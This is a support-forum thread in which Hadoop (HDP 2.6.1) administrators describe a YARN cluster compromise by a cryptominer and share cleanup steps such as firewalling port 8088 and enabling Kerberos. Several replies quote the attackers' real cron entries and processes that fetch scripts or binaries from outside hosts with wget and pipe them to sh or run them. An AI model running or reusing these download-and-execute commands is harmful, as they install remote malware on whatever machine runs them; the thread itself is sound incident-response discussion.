Support Questions

Find answers, ask questions, and share your expertise
Announcements
Celebrating as our community reaches 100,000 members! Thank you!

HDP 2.6.1 Virus CrytalMiner (dr.who)

avatar
Explorer

Hi!

I'm using HDP 2.6.1. Every ok, but recently, I has problem with Yarn application. I has found type of virus. It work flow:
1. Some service submit yarn application with user name "dr.who"

2. When submit yarn application, on worker will run script container. Script have malware to download Trojan CrytalMiner.

3. Trojan will run via command: /tmp/java -c /tmp/w.conf.

I has kill job, but it will re-run after about 15 minute. I don't know where submit yarn application with user "dr.who"!, Anybody has same problem?. Please check and show how to remove this!

Many thank!

74436-virus.png

1 ACCEPTED SOLUTION

avatar
@Huy Duong

We've recently sent out a security notification regarding the same.

1. Stop further attacks:

a. Use Firewall / IP table settings to allow access only to whitelisted IP addresses for Resource Manager port (default 8088). Do this on both Resource Managers in your HA setup. This only addresses the current attack. To permanently secure your clusters, all HDP end-points ( e.g WebHDFS) must be blocked from open access outside of firewalls.

b. Make your cluster secure (kerberized).

2. Clean up existing attacks:

a. If you already see the above problem in your clusters, please filter all applications named “MYYARN” and kill them after verifying that these applications are not legitimately submitted by your own users.

b. You will also need to manually login into the cluster machines and check for any process with “z_2.sh” or “/tmp/java” or “/tmp/w.conf” and kill them.

Hortonworks strongly recommends affected customers to involve their internal security team to find out the extent of damage and lateral movement inside network. The affected customers will need to do a clean secure installation after backup and ensure that data is not contaminated.

View solution in original post

14 REPLIES 14

avatar
New Contributor

In my case, the below cron entry was found

 

$ sudo  -u yarn crontab -l
*/10 * * * * wget http://vbyphnnymdjnsiau.3utilities.com/Bj2yso0 -O-|sh

 

It resulted in so many spurious processes initiated by yarn - and shooting up the CPU. Nothing could be done. In some cases the number of entries were as high as 20k.

 

$ ps -ef | grep yarn
yarn 30321 30318 0 11:44 ? 00:00:00 NHNe5C5iHr
yarn 30323 29152 0 11:44 ? 00:00:00 NHNe5C5iHr
yarn 30330 29075 0 11:44 ? 00:00:00 rxNqqqOesC1HqN
yarn 30427 30319 0 11:44 ? 00:00:00 NHNe5C5iHr
yarn 30773 1 0 10:34 ? 00:00:00 fexsOEvOv
yarn 31186 1 0 10:34 ? 00:00:00 GqOeeG5eCC1rO
yarn 31189 1 0 10:34 ? 00:00:00 ff1NrseqqffTHrve
yarn 31727 1 0 09:20 ? 00:00:00 ivxvj1Ei1
yarn 31731 31727 0 09:20 ? 00:00:04 ivxvj1Ei1
yarn 31770 1 0 09:20 ? 00:00:00 GjN1GxCsqE51fs
yarn 31771 31770 0 09:20 ? 00:00:21 GjN1GxCsqE51fs
yarn 31774 31770 0 09:20 ? 00:00:05 GjN1GxCsqE51fs
yarn 31790 1 0 09:20 ? 00:00:00 EvGeHe5OxfC
yarn 31791 31790 0 09:20 ? 00:00:23 EvGeHe5OxfC
yarn 31793 31790 0 09:20 ? 00:00:02 EvGeHe5OxfC
yarn 31803 1 0 09:20 ? 00:00:00 qCevqvvGff1
yarn 31804 31803 0 09:20 ? 00:00:18 qCevqvvGff1
yarn 31806 31803 0 09:20 ? 00:00:04 qCevqvvGff1
yarn 32243 1 0 10:35 ? 00:00:00 TNsNf5fqTEv5esOxx
yarn 32254 1 0 10:35 ? 00:00:00 qCevqvvGff1
yarn 32255 1 0 10:35 ? 00:00:00 seffjsOExr

 

Thanks for discussing and bringing up this issue.

avatar
New Contributor

Thanks a lot, @Gulshad Ansari and @Sandeep Nemuri.

I was struggling with this issue and after spending 2 days I came across to this post. I applied below steps.

1. blocked port 8088 on firewall rules and allowed access to only required IP addresses.

2. killed processed I found with /var/tmp/java -c /var/tmp/w.conf

3. I found a similar entry in crontab at one of our node. I tried to remove it multiple times, but every time it was coming back so I changed the entry to something like below. (I'm not sure whether it is correct way but it started working for me)

***** wget -q -O - http://localhost/xyz.sh 

These changes are working at my end and the problem got solved.

Kudos to both of you..!!!

avatar
Rising Star

Hi @dipesh_mywork what do you mean you've blocked the 8088 port of YARN? also what iP's do you included on the whitelist? thanks for your reply! 🙂

avatar
Expert Contributor

Hello,

Alright guys, i am facing the same issue and after running crontab command i found

  1. ***** wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1

But i am not able to find any running java process may be because my resource manager has exited and it is not operational anymore. Beside i did find a java app in /var/tmp folder, so supposedly i should delete it right ?

Second thing my resource manager provides an warning exits "Dr.who has been converted for dr_dot_who" and it cause it to shut down. Just to clear my confusion, i struggled around one week on this still no result and the main point of suspicion was why yarn is running application, beside i didn't not schedule any queue am i right ? or it runs by own ?

Thanks, please reply ASAP

avatar
Explorer

I have encountered this issue by three different types on some of our open clusters.

1. Crontab - Already covered in the above post

2.Java process - Already covered in the above post

3. Yarn process - We have seen this issue here as a process which runs as yarn user and launches container.

#ps -elf

yarn      2239  2238  0 19:56 ?        00:00:00 /bin/bash -c wget http://178.128.173.178/bins/hoho.x86;chmod 777 *;./hoho.x86 Servers
yarn      2248  2239  0 19:56 ?        00:00:00 wget http://178.128.173.178/bins/hoho.x86

Resolution: Make sure you have correct security groups. Do not open ports to World.